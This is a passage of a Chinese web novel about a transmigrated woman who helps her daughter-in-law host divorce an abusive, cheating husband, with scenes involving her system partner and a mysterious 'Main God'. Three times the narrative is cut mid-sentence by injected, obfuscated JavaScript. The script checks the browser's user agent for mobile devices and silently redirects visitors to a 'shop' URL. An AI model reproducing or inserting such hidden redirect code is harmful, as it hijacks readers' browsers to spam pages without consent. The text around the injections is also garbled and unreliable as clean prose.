《被磕cp系统强制爱了【快穿】》 4. 对,我是你妈 柚子树开花的季节,巷子里都飘荡着一股淡雅的香味,阳光透过树缝洒到院子里。 巷子深处的一户人家,扎着马尾的女孩走出大门。 “沈何,书包里给你放了牛奶记得喝!” 女孩头也不回地应了声,此刻目光只聚焦在前面穿着校服的男生身上。 他背着书包抬眼看着墙内的柚子树,一只手揣在裤兜,另一只手摸着散发着幽香的白花。听见这个声音,他回头看过来。 “看什么,不上学了?”他笑着打断愣在原地发神的女孩。 沈何听见他的话反应过来,在他的目光中缓缓走到他身边。 “你在等我一起上学?” “不是怕巷口那家人新养的狗?” 最近巷口那家人养了一只大型犬,没有栓绳放养在院子里,每当有人走过的时候就会从栅栏旁钻出来。 奇怪的是这只狗好像还会看人下菜,要是感觉路过的人没那么怕它,就表现得乖巧温和,要是感觉到路人的害怕,它就跑出来吓唬人。 沈何前几天上学每次走到这里都战战兢兢的,果然被自动判别为好欺负的人,每次都被蹿出来的大狗吓得落荒而逃。现在一想到要从那里过心里就开始紧张。 但是周远逸是怎么知道的呢?沈何不明白,低着头琢磨了一会儿。 对方就好像知道她心里想的什么,主动开口:“那天看见你跑过去,喊你也没听见。” 沈何想了想自己被一只狗吓得落荒而逃的样子,尴尬地闭了闭眼。 “其实我也害怕狗,想着跟你结个伴,说不定看见人多它就不敢出来吓人了。” 周远逸也怕狗?沈何从小和他一起长大都不知道这个事,但是他说得又很认真,沈何一时觉得没有那么尴尬了。 并排走在路上,沈何看着身旁高大挺拔的少年,想着都是同样的浅蓝色校服,为什么周远逸穿起来比班上的其他男生好看那么多。 虽然从小一起长大,但是随着年龄增长,再加上读了高中之后就不在一个班上,他们两个也不像小时候那样亲密。 就这样隔着一些距离走着,没有人主动开口打破沉默。只是在走到巷口的时候,沈何突然被一只有力的手揽住然后被轻轻推到里侧护住。 距离突然拉进了很多,她甚至能闻到对方身上淡淡的香味,和花香很像。 周远逸站在外侧只是轻飘飘地瞥了一眼栅栏里露出的一个狗头,前几天耀武扬威的“肇事者”就突然变得乖巧起来,吐出舌头看着他们路过,一步也没跟上来。 “看来两个人是更有用一点。” 他笑着看向沈何,阳光洒在少年的脸上,沈何只看了一眼就侧开脸,没敢把目光多停留在对方脸上。 从那天以后,沈何莫名其妙地从一个人上学变成了和周远逸一起,甚至每天十点过下晚自习的时候也发现周远逸在等她。他们就这样一起度过了一个充满花香味的季节。 这样一段时间之后连班上的朋友都忍不住问她对方是谁,还问他们是不是在谈恋爱。沈何听见这个词的时候吓了一跳,连忙说这只是邻居家的哥哥。 对她来说,周远逸就是一直关爱自己的哥哥而已,她也相信,在周远逸心里也只是把自己当成妹妹而已。 谈恋爱这个词对沈何来说很陌生。她的妈妈在她很小的时候就去世了,她和爸爸相依为命。从小没有看见父母之间相处模式的她不太清楚男女之间的正常相处和谈恋爱之间的界限。但是她可以肯定,她和周远逸不是在谈恋爱。 夏夜的巷口,送沈何到门口之后周远逸看着她回家的背影然后也转身离开,月光铺洒在两个人身上,在地上映照出背道而驰的身影。 “那如果我不想只做你的哥哥呢?可以吗,沈何。” 这句没有问出的话就这样搁浅在夏夜里,直到多年后也没有被带到他喜欢的人身边。 ---------- 阳光穿进房间,照射在眼睛上,沈何皱着眉睁开眼,坐起身时发现自己在谢书华的房间里。 可能这几天太过疲惫,她做了一个很长的梦,梦里好像闻到家里那株柚子树开花的香味。甚至醒来还能感受到那个熟悉的味道。 她掀开被子走下床,刚出门就看见坐在客厅里看电视看得津津有味的谢书华,她看见谢书华脸上认真的神色,在心里笑了一下。 之前看见快七十岁的谢书华沉迷偶像剧的时候就该发觉不对了,这么明显的细节她硬是拖到现在才发现。 任洛年坐在沙发上,看似很专注地盯着电视实则在跟系统说话。 “我和主神商量了一个问题,现在购买道具的规则可能有点变化。” 实在是系统奸商的人设才深入人心,所以任洛年听完的第一反应是他是不是又有什么新的手段来割自己这个韭菜。 没看出她的歪歪扭扭,系统接着说:“我发现原来购买道具的规则有很大的问题,它要求用联系度来购买道具。但是联系度这个东西很抽象,你想,如果是好感度,用完还可以再提升,但是联系度怎么减少和提升,不可能你给他们创造了在一起的可能之后再突然减少这个可能吧。” 任洛年听完认同地点点头,她之前从来没往这方面想过,可能因为穷惯了,对生活的态度都是凑合着过,从来都没有什么购买欲。 “所以我和主神商量之后,他决定现在加一个代表好感度的数值,可以通过扣除好感度来购买道具。” 任洛年很认真地点点头:“那是谁和谁之间的好感度呢?” “哈哈,这就是最有意思的地方了。” 一听到系统这种语气,任洛年就知道生死难料,他上次用这种幸灾乐祸的语气说话还是在...... “是随机指派的。” 任洛年短暂地闭上眼睛:“果然。” “不要这么悲观,这次抽到的是沈何对你的好感度。” 不知道为什么系统让自己没那么悲观,任洛年觉得要是真的要有个具体的好感度数值的话,她对每个人的可能都不超过10,同样,别人对她的也半斤八两。 她对自己不讨喜的性格和厌人的本质还是有信心的。 结果系统的下一句话让她睁大了眼睛。 “沈何对你的好感度目前是85。” 系统刚说完这句话,任洛年就看见从门口走出来就一直盯着自己的沈何。越看越觉得对方看自己的眼神还有些复杂。 她默默问系统:“你说她不会是对自己的婆婆有什么异样的感情吧......” 系统听完眼前一黑,做完这几天的第n次深呼吸后开口:“我给你好感度是让你这样用的?” 任洛年没理他,只是看见沈何走到客厅之后给她说自己给她买了早饭。 本来这个老年人的身体觉少,所以早起出门买个早饭顺手的事,谁知道这个小小的举动一下让沈何对她的好感度又增加了5点。 收到好感度增加的提示,任洛年看着坐在饭桌旁吃早饭的沈何顿时有些哭笑不得。 她正盯着沈何看,沈何突然抬头问:“对了,我该叫你什么?” 沈何基本上已经确定了任洛年不是谢书华,但是任洛年觉得没有删去她记忆的必要,再者现在有个好感度在她们之间,如果删去了就很可惜。 于是她想了想告诉沈何自己的名字,沈何也很贴心地没有追问下去,只是低头笑了笑。 她吃完早饭收拾了一下就准备出门,但是在她出门的时候像是犹豫了一会,手握在门把上一直没动作,想了一会儿,还是转过头来。 “任洛年,我要和郑涵谈离婚,你能陪我一起去吗?” 任洛年看见她恳切的眼神,没说什么,只是点点头。 大约是提防郑涵又动手,沈何和郑涵约在了一个咖啡厅。公共场合况且周围那么多人,性格懦弱的郑涵不敢做什么出格的动作。 任洛年和沈何提前到咖啡厅之后坐在靠窗的位置等郑涵。在等他的间隙,任洛年和沈何开始数落郑涵。说是一起数落,其实大部分都是任洛年一个人在输出。 “在外面窝窝囊囊,一回家突然声音也变大了,腰杆也挺直了。” “这么大个人了,基本的自理能力都没有,巨婴一样。” “长得帅的这样我都不能忍,更别说长他那样。从额头到下巴打车都要十块钱。” ...... 任洛年说得绘声绘色不亦乐乎,连隔壁桌的人都假装不经意地靠近她这边,听得津津有味。 他听着这个老太太一句一句的锐评,心里有些羡慕地想着这辈子要是能这么刻薄地活一次也值了。 沈何也听得笑起来,偶尔还接几句。 郑涵走在外面隔着玻璃就看见她们两个有说有笑的样子,不知道她们什么时候感情变得这么好,皱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464728|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头。 他脸色很差地走进门,坐在她们两个对面。 任洛年看见他就忍不住想翻个白眼,翻了一半又想起什么强行压下来。 她不知道郑涵还是看到了她来不及收起的白眼,也不知道系统把她这副鬼迷日眼的样子尽收眼底。 沈何看见郑涵走进来也收起刚才还高兴的神色,整个人看起来非常平静,眼神里透露着决绝。 她拿出重新印的离婚协议书,摆在桌上,没有说话。 郑涵瞥了一眼就收回视线,一副不在乎的样子,只是眯着眼看向沈何:“这么急着离婚,你外面有人了?” 沈何感觉不到任何生气,她只是笑了一声,轻轻摇摇头。 “你如果有证据,拿出来。” 没等郑涵说话她接着说:“不过你出轨的证据,我这里倒是有很多。” 郑涵被戳穿之后情绪果然开始激动起来:“沈何你他妈是不是疯了?”说完这句他又开始口不择言,用肮脏无比的话咒骂着沈何。 在一旁的任洛年实在听不下去,开口制止郑涵:“嘴放干净一点,你疯了吗!” 郑涵本来因为这几天谢书华老是袒护着沈何的异常行为心里就有一股火,现在听见她又护着沈何更是觉得莫名其妙。 家里有个不安分的沈何已经让他很烦躁了,不知道谢书华又发什么疯。 他看起来确实气得不轻,甚至额头的青筋都暴起,此刻看起来像一只见谁咬谁的疯狗。 他转头看着任洛年:“我还想问你,你疯了吗?这几天他妈天天帮着沈何这个贱人说话,你到底是她妈还是我妈!” 终于等到这句话,任洛年直视着郑涵,中气十足地说:“我是你妈,对,我就是你妈。” 任洛年专门把重音加在“你”字上,说完这句话四周空气都静止了几秒,连郑涵也停顿了。 见对方没反应过来,任洛年乘胜追击。 “听着,你就是废物,懦夫,巨婴,蠢货,自己没能力还出轨,讲理讲不过就家暴,在家里跟个弱智一样什么都不会做,在做到这些的同时还长得还跟蠢猪一样。无知无能,自私懦弱,你应该庆幸我不是你妈,不然我早就把你打到重开。” 任洛年一口气说完这些,松了口气,潇洒地往后一靠,然后在郑涵和沈何难以置信的目光中迅速在脑内呼叫系统:“可以了,删掉这段吧。” 合着指南上写的可以删除发现者的记忆被她当bug骂人用,系统遇见这种人才也不知道能说什么,默默删去了郑涵的记忆。 随着脑内突然一瞬的空白,任洛年这些天让郑涵觉得异常的记忆被删除,包括刚才的辱骂。 任洛年感觉记忆被删掉之后的郑涵眼神都清澈了起来,看起来已经忘记了刚才的争执。只是看着桌上的离婚协议书没说话。 沈何也不知道为什么他刚才情绪还那么激动现在突然又冷静下来了,但是现在她没有时间纠结这个,而是趁现在继续直奔主题。 “郑涵,现在你签下这个字的话我们还能按照正常流程离婚,要是你一直纠缠,我会提供你出轨的证据,到时候你可能就净身出户了,希望你能考虑一下后果是不是你能承担的。” 郑涵听完之后笑了一声,眼神变得狠戾:“真狠啊沈何,真是一点旧情都不念。” 任洛年看他又要发疯,于是抢占先机凑到刚被删除掉记忆的郑涵旁边:“儿子,你就答应她吧,她有证据,你要是真净身出户可怎么办,那个房子就是她的了,咱们娘俩以后住哪里,你说是不是?再说了,到时候你净身出户成穷光蛋一个了,你外面那个还要你吗?那才是真的一场空啊。” 任洛年的演技其实很拙劣,具体体现在每一个表情都透露出:我要来骗你咯。 只是在这种情况下的郑涵一点都没察觉到,他这个人本来就没有什么主见很听谢书华的话,况且确实给人留下了把柄,于是他想了一会儿,权衡了一下利弊,还是答应了在离婚协议书上签字。 这场闹剧好不容易结束,他们三个先后离开,只留下隔壁桌听完全程的人一脸懵。 一开始听见这个老太太锐评的时候以为她在骂女婿,结果发现居然是她的亲儿子。 那个超雄男的一开始还情绪激动得不行,结果被骂一顿之后反而老实了。 不知道自己是误食了毒蘑菇还是这个世界终于颠了,他默默拿起手里的咖啡喝了一口。 5. 一号系统 经过还算“和平”的交谈,郑涵还是和沈何去办理了离婚手续。 在谈到财产划分的时候,沈何没有要那套房子。她早就做好打算,决定今后回到父亲去世之后留下的房子住。 在一切都尘埃落定的时候,任洛年突然想起了一个十分重要的事——他们离婚了,那现在作为谢书华的她怎么办?岂不是要和郑涵那个巨婴生活下去。 一时难以接受这个事实,她有气无力地问系统:“为什么分财产的时候没有把我分给沈何。” “你见过谁离婚把婆婆判给女方。” 想了想确实是这个道理,但是不管是为了接下来的任务还是自己的精神状况,任洛年都觉得有必要想个解决方法。 她低头故作深沉地想了想,然后一副胸有成竹的样子抬起头。 “诶,我有一个好主意。” 系统看着她闪着金光的双眼自动把这句话翻译成:我有一个馊主意。 “嗯,说吧。” “我可以给郑涵说我报名了一个旅游团,要出去旅游一个月。然后呢,背地里跟沈何一起回家。” 系统听完觉得她这个主意倒没有他想象中那么离谱,帮她补充道:“沈何的家离这里并不远,为了防止和郑涵偶遇,你可以用回你自己原来的身体。” 任洛年听完点点头,她这种人虽然嘴上说着讨厌一切人类,但其实要是有人给她一点点帮助,她就立马对对方改观。 之前系统一开口她就觉得对方要坑自己,现在她越来越觉得系统还是比较靠谱的。 刚在心里对他有一点改观,对这些一无所知的系统就立马开始重操旧业。 “不过这个需要购买道具,这么实用的道具现在居然只需要10点好感度,买到就是赚到呢。” ...... 任洛年认命地点点头,默默删掉自己刚才的想法。 “你在成为系统之前是做销售的吧?” 系统听完倒没有跟之前一样说些阴阳怪气的话,而是停顿了一会儿。 “我不记得了。” 他说这句话的语气和刚才推销的时候完全不一样,是很平静的陈述。 任洛年不知道系统和宿主在记忆是否清楚这方面是不一样的,她听见这句话也沉默了一下。 她掩饰般地咳了一下,然后像玩笑般地开口:“你不会真是AI吧。” “不是。” 他回答得很肯定,肯定到任洛年都有点奇怪:“为什么这么确定。” “我有一个必须要找到的人。” 其实在听见他说这句话之前任洛年真的怀疑过这个系统是一个程序之类的东西,虽然从他说话可以看出一些独有的性格,但是她没有感受过他有感情的一面。 但是这句话让她一下就打消了怀疑,即使失去一切记忆仍然记得要找一个人,这种执拗的信念像是人类才有的东西。 沉默了一会儿,任洛年问:“在这里找吗?” “我不知道。” “好吧,那我快点完成任务,争取早点让你恢复自由身就可以四处去找找,慢慢来吧,总会记起来的。” “那你呢,不想早点回去吗?” 早点回去吗,任洛年在心里重复了一遍这句话,随即只是笑了笑,没有再说话。 话说到这里,没人再接下去。 -------- 沈何搬走的那天只带了一个行李箱,收拾的时候,她自己也才发现这个房子了里没有很多属于她的东西。 也是这个时候她才意识到自己原来的生活被一些杂物慢慢侵占,到最后是她像一个物品一样属于这个家,而这个家没有什么是属于她的。 有点悲哀,不过她也很庆幸自己及时发现了这个事实。 沈何走到门口的时候看见任洛年悄悄给她使了个眼色,她立马就想起那天晚上任洛年告诉她的计划,低头抿嘴笑了一下,然后头也不回地走出这个房子。 在她走出家门的那刻,任洛年被脑内响起的提示音吓了一跳。 “滴,由于完成重大节点,联系度+50,目前联系度总计60,请再接再厉。” 她瞪大了眼睛:多少?加了多少? 就完成了一个离婚,居然加了这么多。任洛年还沉浸在震惊之中,旁边的郑涵就来扫兴。 “妈,你去做午饭,我下午还要上班。” 他说完就躺在沙发上打开手机,像是下达了一个命令一样。 郑涵能长成现在这样跟谢书华的溺爱脱不开干系。她对郑涵控制欲非常强,所以对他的衣食住行各方面都恨不得全部包揽完,最后把郑涵培养成一个各种程度上的废物。 但是任洛年又不是谢书华,她没有这种无私奉献的精神。 “真把自己当皇帝了?” 她以这句话为开端单方面吹响战斗的号角,看样子又准备狠狠地羞辱郑涵一番。 这时候系统在旁边默默说了一句:“温馨提示,删除记忆只有第一次是免费的,再次使用需要花费五十的好感度哦。” 任洛年连下一句都想好了,听见这句话之后立即收了回去。 她转头和一脸疑惑的郑涵对上视线,原地表演了一个变脸术。 “那你中午想吃什么呢?儿子。” 她看着笑得和蔼可亲实则牙都要咬碎了,最后两个字说得咬牙切齿。 郑涵则继续低头看着手机:“你看着做吧,快点就行。” 任洛年听完黑着脸走到厨房里,随意看了看目前剩余的食材,直接就开始做饭。 系统一开始也有点担心任洛年不会做饭可能会露馅,出乎意料的是,她洗菜,切菜,下锅的动作一气呵成,看起来熟练又麻利。 做饭对任洛年来说确实不算什么难事。她很小的时候在家里就要做饭,长大后很长一段时间都是一个人生活,所以她不仅会做饭,而且做的味道也相当不错。 她做好之后没有把菜端到外面,而是就这样站在厨房给自己盛了一碗饭就开始吃起来,等不急不忙地吃完又像养蛊一样往里面加了各种调料,最后才端到桌子上。 郑涵听见她叫吃饭之后一边念叨着怎么这么慢一边拉开椅子坐下。 任洛年还在厨房装模作样地洗洗碗擦擦桌子。直到听见郑涵刚吃第一口就喷了出来,她在厨房笑了两分钟才敢出去。 她假惺惺地跑出来关心道:“儿子,怎么了?” 郑涵皱紧眉头,指了一下桌上的菜。 “你做的什么东西?自己尝尝这是什么味道。” 听见这句话任洛年顿住了,她没想到还要自己尝一口。但是没办法,郑涵的目光一直放在她身上,她只能缓缓拿起筷子硬着头皮把菜往嘴里送。 刚放进嘴里这种复杂又恶心的味道就让任洛年感觉菜在嘴里打她,连忙拿纸巾包着吐出来。 “哎呀,可能放调料的时候看错了,这个可能吃不了了,你下午不是还要上班吗,要不点外卖?” 郑涵把筷子一扔,嘴里骂骂咧咧地起身,烦躁地拉开椅子,在地上摩擦出尖锐的声音。 他重新躺回沙发上,任洛年在心里酝酿了一下台词走到他面前。 “跟你说个事儿,妈报名了一个老年旅游团,要去外地旅游一个月,今天就出发。” “一个月?这么久,你走了谁给我做饭?” 任洛年每次跟这个蠢货交流之前都要在心里做几个深呼吸强行压住怒气然后再咬着牙开口:“你这么大的人了,自己做饭也要不了你的命。而且我年龄也这么大了,马上也就死了,难不成我死了之后你也不活了吗?” 说完她不等郑涵回答就行动敏捷地拖上行李箱直奔门外,整个过程像开了快进键一样。 听见关门的声音郑涵才反应过来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464729|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身来把桌上离得最近的东西拿起来用力一扔,顺便还把脚旁的垃圾桶踢翻。 “走吧,走了好,你们一个二个都给我滚出去!再也不要回来。” 过了一会儿,门铃响起,郑涵起身去拿外卖,刚起身就踩到刚才踢翻的垃圾桶里滚出来的酒瓶。 随即咚的一声趴在了地上。 -------- 刚走出家门不远,任洛年就感觉自己的身体变得没那么容易疲惫,腿脚也利索了起来。 她感到奇怪地低头看了看自己的双手,发现已经不是谢书华的了。她就这样变回原来的身体了。 失去了才懂得珍惜,她现在突然觉得之前动不动就疲惫的身体现在是多么青春有活力。 任洛年一时喜出望外,在原地做了几个蹲下起立来适应久违的身体。旁边的路人用莫名其妙的目光盯了她一眼。 察觉之后她毫不尴尬地盯回去:“看什么?” 对方迎上她的目光立马转过脸加速逃离了。 系统看完了全程,想起之前自己还害怕她尴尬所以没告诉她其实他这边可以看见的是她原本的脸。 现在看来,任洛年这种拥有强大心脏的人,就算告诉她也无所谓。 不止是系统,连任洛年自己也能感觉到自己变了。虽然说之前她的精神状态也怪怪的,但是自从进入这个世界线之后感觉自己好像彻底疯了。 不过这样也好,没人跟一个疯子计较,反正我是疯子,大家就让让我吧。 车在一个巷口停下,下车后任洛年拖着行李箱进入巷子。 这条小路不宽,两边的房子之间离得很近,汽车不能通行。 任洛年一边走一边打量两边的房子。 大部分都是带院子的楼房,院子里种了树木,郁郁葱葱的枝叶伸出围墙,阳光透过树隙打在路面上。 任洛年还没走多远,抬头就看见站在院子门口的沈何。沈何半扎着头发看着任洛年笑得温柔。 任洛年加快了步伐走到沈何面前,沈何很自然地伸手把任洛年的行李箱接过去。 转身的时候任洛年用余光瞥见一个身影,她眯着眼正准备看清楚一点的时候系统恰到好处地开口:“是周远逸。” 眼看沈何就要走进门,任洛年灵机一动,迅速转身向门外走去。 “诶,沈何,我好像掉了一个东西在路上。” 沈何闻言也转过身来,刚走到门口她就看见路口站着的周远逸,他们两个以任洛年为中点站立着。 看他们看着对方不说话,任洛年主动退出他们的视线,继续装模作样地找那个不存在的东西。 对视片刻,周远逸开口:“什么时候搬回来的?” “前几天。你呢,也回来住了?” “回国之后我就一直住在这里。” 刚说完,还没等沈何回答,他像是怕沈何走掉一样接着问:“你以后一直住在这里吗?” 沈何垂眼点点头,随即像转移话题般地走向任洛年:“找到了吗?是很贵重的东西吗?” 她说完这句话,周远逸的目光也看过来。 任洛年心想早知道自己走远一点了,她缓缓抬起头:“没事,不值钱。我重新买一个就是了。” 帮任洛年在地面看了一会儿,确实没有东西掉落的痕迹,任洛年也一直说不用找了。 沈何抬起身正准备和任洛年一起回去的时候猝不及防地迎上周远逸炽热的目光。 连任洛年也发现了,好像有沈何在的地方,他的视线就只有一个落点。 沈何迎上对方直勾勾的视线,感觉他像一只被遗弃的小狗,心里一软,轻轻开口:“要进去坐坐吗?” 周远逸眼神一亮,随即低头笑了笑,跟了进去。 他刚走近院门,任洛年就听见提示音。 “滴,联系度+10,当前总联系度70。” 6. 主神 虽然很久没人打理过导致这个院子看起来有些杂乱,但是周远逸通过墙侧的两棵柚子树一下想起院子之前的样子。那个时候各种鲜花开在小路边,旁边还种了些蔬菜,两棵柚子树像守卫一样伫立在院子里。 现在它们浓密的枝叶比记忆里的颜色更翠绿,树干随着时间的流逝长得越来越粗壮。只可惜现在不是花开的季节,不过细想也快了。 看他在树前驻足,沈何也走到树旁。这两棵树还是沈何的父母结婚的时候栽的,沈何从小和它们一起长大。 小时候的时间好像过得很快,伴随着它们开花结果又是一个季节。 在结果的时候沈父会让她带一些去给同学吃,每次沈何都是最先给周远逸。这样看来,这两棵树也算是承载了他们共同的记忆。 任洛年透过落地窗看见院子里面对面站立的两个人。 她今天是第一次清楚地看见周远逸的脸,五官端正柔和,笑起来眼尾微微向下,整个人散发着温柔的白月光气息。 现在穿着黑色的风衣外套,里面是蓝色竖纹衬衫,身材高挑挺拔。 对面站着穿着白色的针织毛衣的沈何,两个人看起来像电影里的男女主角。 她看着很认真地思考了一下。 “你说沈何跟周远逸一起长大,是怎么看得上郑涵的。” “大概是处心积虑、步步为营、死缠烂打。”系统简单点评到。 任洛年听完赞同地点点头。 风卷起白色的纱质窗帘,轻轻挨在她的脸上,任洛年被吓得一颤,闭上眼睛。 刚闭上眼她就发现和上次一样能接收到沈何和周远逸在一起的画面。 虽然有时候是完成任务的需要,但是任洛年总觉得这样涉嫌侵犯别人的隐私。 刚准备开口问系统接受画面的触发条件就想起之前系统给她的那本指南到现在也没看到第五点,于是她默默把要问出口的话堵了回去,决定自己晚上回去再好好研究一下。 此时画面里沈何低下头看着地面嘴角带着笑意,看起来很腼腆。而周远逸的目光则一直放在她身上。 “我已经很多年没有吃到你给我带的柚子了。” 他说完看着沈何的眼睛,想从那里找到一些情绪,属于沈何自己的情绪。 “自从我爸爸去世之后,我也没有回来过了。” 她看着面前两颗粗壮的大树,像是回到了很小的时候,坐在院子里看着爸爸摘树上的结的果。 他每摘一个都会举起来给沈何看,嘴里还问着:“这颗大吧。”沈何在一旁看着,眼睛亮亮的,说:“那我要最大的那个,明天带给周哥哥!” 沈父笑着把手里的果子放在沈何的脸旁,笑她:“你看,叫你多吃点饭,这个果子都比你的脸大。” ...... 一连串的回忆突然涌出,沈何突然很想爸爸,不过也有点庆幸他没看见现在的自己。 看她的眼神暗了下去,周远逸像是开玩笑般地开口:“那今年结果你可要分给我,不然我只能从墙外摘了?” 想着他趴到墙外偷果子的样子,沈何才终于又笑了一下。 冬天最寒冷的时候已经过去,虽说春天眼看着就来了,院子里的其他植物还沉浸在那场突如其来的寒冷里像没缓过来一般,看起来垂头丧气又奄奄一息。 沈何看见这个和父亲在的时候可以算是天差地别的院子,突然就想到好像这么多年,她也和这些花草一样枯萎凋落,变得面目全非。 她转身朝屋子里走去,刚走了一步,停下来问。 “我好像走的每一步都是错的。” 还留在原地的周远逸不知道她为什么突然说这句话,眉头微蹙地转过脸来看着她。 “为什么这样说?” 沈何虽然是笑着,但是看起来很难过,随即摇摇头:“没事。” 看见她朝房间走来,任洛年赶紧睁开眼从落地窗边离开,坐在沙发上假装玩手机。 沈何带她去看了给她留的房间,然后就让她先好好休息一下。 房间很宽敞,落地窗的设计让阳光直接照射进来,明亮得有些刺眼,沈何一走任洛年就一头倒在床上。 随着联系度的增加,她心里一直有些猜测,现在越想越不对劲,她突然坐起身来在脑内询问系统。 “我可以去见一下主神吗?” 系统对她突然的请求感到莫名其妙。 “你见主神干什么?” 他这话让任洛年冷静了下来,刚才确实冲动了,现在所有的一切都是怀疑,她应该再观察一段时间再做决定。 她看着神色如常地倒回去:“没事,你就当我刚才脑子出问题了。” “刚好我下午去见主神,跟你请个假。” 一直都是自己跟别人请假,头一次有人跟自己请假。任洛年感觉有点奇怪:“你为什么要跟我请假?” “你的指南是摆设吗?” 早知道就不问了,任洛年默默闭了嘴。 她缓缓闭上眼睛,眼前是沈何和周远逸在客厅聊天的画面。 他们这么多年没见,不可能一下就变得熟络起来,来日方长,况且下午系统也不在。 于是任洛年决定下午出去买点菜。这么多天不可能白住在沈何家,做点饭这种事情她还是很乐意的。 系统在看见她出门后,就关闭了面前的所有连接设备起身走出自己的控制室。 穿过两边全是控制室的走廊,通过中心的智能办公区域,再经过一段没有任何灯光的走廊,他来到这里最深处的房间。 抬手刚按上门铃,门就自动解锁,他顿了片刻,走进去。 这个房间像是一个控制室的放大版,刚走进去就看见远处的一个巨大屏幕,实时共享着各个世界线的信息。 而侧面是全景的玻璃,能俯瞰外面繁华的都市夜景,高楼大厦耸立,灯火通明,霓虹交错。给人造成一种纸醉金迷的错觉。 整个房间没有开灯,但是外面透进来的灯光已经足够使它不再昏暗。 这当然不是真的,系统很早就猜测这是类似于幻象的东西,没有太多惊讶,毕竟主神的权限很大,大到没有人知道具体的边界。 他抬眼就看见主神坐在靠背椅上看着面前的屏幕,没有跟他说话,像是时刻关注着是否有异常情况。 但1号系统清楚这不是他的工作。 这整个主系统有具体而明确的部门分工,具体到连培训和维修都专门成立了分管部门,整体架构上像是一个成熟的企业。除了有分管每个世界线的系统外还有专门的情况监测部门,一发现异常情况就会上报,然后由上一级来解决。 而主神掌管着这一切。在这里,他可以制定规则,甚至可以随意创造新的世界线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464730|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 据说这位刚上任不久的主神不像之前的大多都沿袭着前一代主神的世界线设置。取而代之的是自己创造了新的世界线并且在短时间内修改了大部分规则,基本上算是把整个系统推翻重做。 这一举动轰动很大,为此很多系统都需要重新进行培训,那段时间各部门天天加班,叫苦不迭。即使是这样也没有一个人敢冒险去反抗这个雷厉风行又手段强硬的新主神。 但这都是在1号系统来之前发生的事情,初来乍到的他只知道D9区就是这个新主神创造的。 令他奇怪的是,整个主系统的世界线成百上千,但是主神好像格外关注这个刚成立并且看起来并不完善的世界线。 而这个世界线只有他一个系统和任洛年一个宿主,而至于主神真正关心的,他敢肯定不是自己,那就只有...... “有事?” 主神头也没回,只是动了动手指面前的屏幕就切换到了下一页的世界线。 “D9区是你的实验品?” 主神没回答,像是换了姿势歪头想了想:“为什么这么说?” “我的宿主没有失去记忆。” 在培训的时候他就知道,在进入系统之前无论是宿主还是系统都会统一被清除记忆。 没有告诉他们原因,但是听有些原始系统说好像是有过因为没有清除宿主记忆而造成严重后果的先例。 疑点当然远远不止这些,但他只透露出自己对这一点的察觉。 仅仅只是打过几次交道,他就能感觉到眼前的这个主神行事难以捉摸,脾气阴晴不定。跟他对话的每一步都要小心谨慎。 主神像是听见了什么笑话,笑了起来。 “她自己说的?还真是蠢得很稳定。” 说完他顿了一下,一边翻着屏幕一边继续到:“有没有可能我删去了她某一部分的记忆她自己都不知道呢?” 他说得漫不经心,语调也懒洋洋的,让人感觉是一种挑衅。 系统皱眉看着他的背影,声音变得冷了一点:“我有权知道这些,但你没告诉我。” “我也没瞒着你。” 现在已经可以断定这个主神设置D9区别有用心,但系统没有跟他纠缠下去的想法。 他不是一个爱多管闲事的人,况且任洛年只是他的一个宿主,他的任务就是辅助她完成任务,然后像她说的那样脱离主系统去做自己想做的事情。 但是在即将走出门的时候,他在门前停下脚步,随即垂头想了一下,转头对着那个至始至终没有转过来的人说:“据我所知,主神也并不是可以任性妄为的,如果你有什么出格的举动,会有人送你上断头台。” 说完直接转身离开。 他离开片刻后,坐在椅子上的人才缓缓转过身来。 出乎意料的是,他有一张和1号系统如出一辙的脸。 冷峻又深邃的眉眼使他看起来充满压迫感。鼻梁高挺,轮廓流畅而锋利,是一种充满攻击性的英俊。黑色衬衫下包裹着紧实有力的肌肉,袖口挽到一半,露出结实的手臂。 他一只手撑在桌上有意无意地划过抿着的唇,这样微微低头的姿势让他眼眸沉了沉,直直地看着门口的方向。 “那这次你最好不要再重蹈覆辙。” 背后的屏幕从刚才许多世界线的汇集变成唯一一个世界线,随即出现任洛年的脸。 7. 太帅,怕你爱上我 从主神的房间出来之后,系统穿过昏暗的长廊朝着控制室的方向走着。空旷的走廊尽头透出白色的亮光,安静得只有他一个人的脚步声。 通过中心办公区域的时候,他随意抬眼就看见一个长卷发画着浓妆的美艳女人站在茶水间的岛台向他招手。 他认得这个女人,听说算是很早一批的系统,也不知道为什么到现在还没有脱离系统。 